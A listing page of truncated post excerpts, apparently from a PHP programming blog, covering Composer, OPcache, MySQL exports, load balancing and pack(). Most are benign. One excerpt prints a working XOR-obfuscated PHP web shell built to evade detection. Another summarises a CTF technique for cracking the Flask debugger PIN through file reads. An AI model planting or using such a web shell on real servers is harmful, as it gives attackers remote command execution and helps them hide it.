Using GitHub, Git, and Composer for Package Management

To implement search functionality, a suitable tokenization tool is required. For PHP, there are few native options, so we opted for phpAnalysis. This plugin is not hosted on GitHub, and although some user have uploaded it, they often add additional layers of abstraction. We will upload the original version to GitHub. Step 1: Register on GitHub ...

Posted on Sat, 19 Sep 2026 16:15:16 +0000 by mrwowza

Enabling OPcache in PHP 7 for Enhanced Performance

The Zend OPcache extension improves PHP performance by storing precompiled script bytecode in shared memory, eliminating the need for PHP to load and parse scripts on each request. When PHP processes a script, it typically follows these steps: Incoming Request → Zend Engine reads .php file → Lexical analysis and parsing → Generation of Opcode ( ...

Posted on Fri, 11 Sep 2026 16:43:56 +0000 by tranzparency

MySQL Data Export Strategies for Non-Technical Audiences

The Hidden Challenge: SQL Files Aren't End-User Friendly Working with MySQL data exports regularly, I rarely document these tasks since they're usually stragihtforward. However, a recent scenario prompted me to record my approach due to its specific constraints: I needed to quickly take over an unfamiliar MySQL instance, extract and organize it ...

Posted on Thu, 10 Sep 2026 16:53:19 +0000 by NCC1701

Optimizing PHP Dependency Resolution with Composer Repositories

Overview This guide details the configuration of alternative repository sources for Composer, the package manager for PHP. Using regional mirrors improves download speeds and stability, particularly within specific geographic locations. Repository Configuration Global Scope To apply changes across all projects, utilize the global flag. Replace ...

Posted on Mon, 07 Sep 2026 16:29:17 +0000 by james_cwy

Understanding PHP7 HashTable Implementation

HashTable in PHP7 PHP's array type is built on top of HashTable—a data structure that powers not only user-space arrays but also internal mechanisms like function tables, class registries, constants, and the global symbol table. HashTable provides O(1) average lookup time by computing a direct mapping from keys to memory locations through a has ...

Posted on Mon, 07 Sep 2026 16:25:44 +0000 by kristian_gl

Weighted Round Robin Load Balancing in PHP

Weighted Round Robin (WRR) is a load-balancing algorithm that distributes requests among servers based on assigned weights. Servers with higher weights receive more traffic proportionally. This implementation uses an efficient approach leveraging the greatest common divisor (GCD) of all weights to minimize unnecessary iterations. The core idea ...

Posted on Wed, 02 Sep 2026 16:13:26 +0000 by bigwatercar

Web Security CTF Techniques: Flask PIN Cracking, PHP Exploitation, and Java Deserialization

Challenge 801: Flask Debugger PIN Exploitation This challenge demonstrates calculating the debugger PIN for a Flask application running in debug mode. The target exposes the console endpoint and allows file reading through a query parameter. First, retrieve the machine ID components: # Node ID from network interface /file?filename=/sys/class/ne ...

Posted on Sun, 30 Aug 2026 16:45:43 +0000 by The Stranger

Generating XOR-based PHP Web Shells for Bypassing Detection

PHP Web Shell Using XOR Operation The following demonstrates a PHP web shell that uses XOR operation to bypass detetcion: <?php $xor_result = ('!' ^ '@') . 'ssert'; $xor_result($_POST[cmd]); ?> ASCII Character Conversion Principle The technique works by converting ASCII characters to theirr binary representations, performing XOR, then c ...

Posted on Fri, 28 Aug 2026 16:31:33 +0000 by javauser

Installing and Configuring Cacti 1.2.14: A Comprehensive Guide

Origins and Evolution of Cacti The story begins in 2001 when Ian Berry, a high school student learning PHP and MySQL, developed a network monitoring solution for an obscure internet service provider. His goal was to create a more intuitive and flexible alternative to existing tools like RRDTool and MRTG. Through his dedication, Ian created the ...

Posted on Mon, 24 Aug 2026 16:53:07 +0000 by skali

Binary Data Packing and Unpacking with PHP's pack() and unpack() Functions

pack() Function string pack ( string $format [, mixed $args [, mixed $... ]] ) The pack() function converts arguments into a binary string according to the specified format. Format Codes Code Description a NUL-padded string A Space-padded string h Hex string (low nibble first) H Hex string (high nibble first) c Signed char C U ...

Posted on Mon, 24 Aug 2026 16:32:17 +0000 by lazersam